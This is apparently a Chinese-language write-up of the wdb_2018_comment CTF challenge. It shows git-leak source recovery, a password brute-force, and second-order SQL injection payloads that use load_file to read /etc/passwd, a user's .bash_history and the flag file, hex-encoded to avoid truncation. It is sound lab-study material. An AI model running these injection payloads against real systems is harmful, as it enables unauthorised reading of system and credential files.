0x00:題目確實好題目,學到不少東西
題目:https://github.com/CTFTraining/wdb_2018_comment
涉及git恢復 二次注入 sql注入讀文件
感覺蠻多坑容易踩的
過程也看了網上其他大佬的wp,寫完以后,自己來記錄一下吧!
0x01:解題過程
首先掃了一下目錄,然后f12看了一下控制台 發現
吶 涉及git,那就git泄露差不多了,然后看還沒commit
上大佬的腳本,githacker一下,然后得到一個不完整的php文件,再進行恢復(詳見博客https://www.cnblogs.com/Tkitn/p/11648456.html)
然后得到完整源碼
<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
吶 源碼很簡單,很明顯是二次注入,category第二次提取出來的時候沒有進行過濾就直接放到sql語句了
ok 來看題目。
發帖后302到這個登錄頁面,爆破得知密碼是zhangwei666
登錄以后,進行發帖。開始構造payload
$sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'";
這里也是一個坑,就是sql語句是換行的,#進行注釋只能注釋當前行,所以我們這里用/**/進行拼接注釋。
構造6的payload,然后再在評論里 */#
則 拼接后的sql語句就是這樣
$sql = "insert into comment set category = '123',content=user(),/*', content = '*/#', bo_id = '$bo_id'";
這里
/*', content = '*/#',
被注釋了,語句仍然是正常的sql語句。
提交成功則是這樣
然后開始讀文件 找flag
這里學習了一下其他師傅的思路,很棒
看history文件
首先常規的讀文件payload:123',content=(select( load_file('/etc/passwd'))),/*
看到www用戶的目錄:
然后讀history文件:/home/www/.bash_history
在/tmp/html下有個.DS_Store文件
查看他
發現長度不夠,那咱們hex編碼顯示
payload: ', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
網上隨便找個在線解碼得到文件完整內容,發現文件名!flag_8946e1ff1ee3e40f.php。不過這個文件是從/var/www/html目錄中copy過來的,我們回到/var/www/html中讀取flag。不過發現並沒有讀取成功。想了一下,可能是因為文件過大。繼續用hex編碼,成功得到flag。 payload:', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*